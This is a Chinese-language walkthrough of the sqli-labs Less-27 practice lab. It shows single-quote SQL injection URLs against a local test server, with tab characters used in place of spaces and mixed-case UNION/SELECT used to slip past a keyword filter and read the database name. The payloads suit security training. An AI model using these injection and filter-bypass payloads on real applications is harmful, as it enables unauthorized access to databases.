SQL注入分析-less-27
1、 概述:从本篇开始,后续都会写个概述,简单描述一下对题目的理解,本关的题目是 GET-Error Based-All your UNION&SELECT Belong to us-String-Single quote 中文名称,基于GET型的报错-构造属于你自己的UNION和SELECT-单引号字符型的注入,从名字上来看,这关需要通过报错信息来获取库名、表名、列名和对应字段(列)的数据,同时应该是对单引号敏感。
2、 尝试一下我们的猜想,按照提示,输入参数:
http://192.168.88.129/sqli-labs-master/Less-27/?id=1
结果如下:
这里正常进行了回显,继续,输入单引号试试:
http://192.168.88.129/sqli-labs-master/Less-27/?id=1’
结果如下:
这里报错,报错信息为 ‘1’’ LIMIT 0,1,典型的字符型注入,对单引号敏感。
3、接下来通过单引号进行闭合,先用order by来判定表的列数:
http://192.168.88.129/sqli-labs-master/Less-27/?id=1’order%09by%091,2,3,4,'5
结果如下:
由以上结果可得,表的列数为3列,继续用联合查询union来确定回显的位置:
http://192.168.88.129/sqli-labs-master/Less-27/?id=1’union%09select%091,2,3
结果如下:
从这里可以看到,union和select都被吃掉了,所以可知,这关对union和select进行了过滤,如何绕过成为了这关的一个考点,这里猜测是对union和select的关键词进行了过滤,我用大小写混合的方式来试着绕过看看:
http://192.168.88.129/sqli-labs-master/Less-27/?id=0’UnIon%09SeleCt%091,2,'3
结果如下:
成功回显,显示位也报出来了,在用户名和密码的位置,但密码的位置需要使用单引号进行闭合,无法利用,这里我只能用用户名字段来回显我需要的信息,其实到这,本关想要刁难你的东西基本就被破解了,接下来就是按照正常步骤,在用户名的位置逐步回显你想要的数据库、表名以及字段的信息了。
比如我要库名,就将2换成database()
http://192.168.88.129/sqli-labs-master/Less-27/?id=0’UnIon%09SeleCt%091,database(),'3
结果如下:
后面就不继续了,比较简单。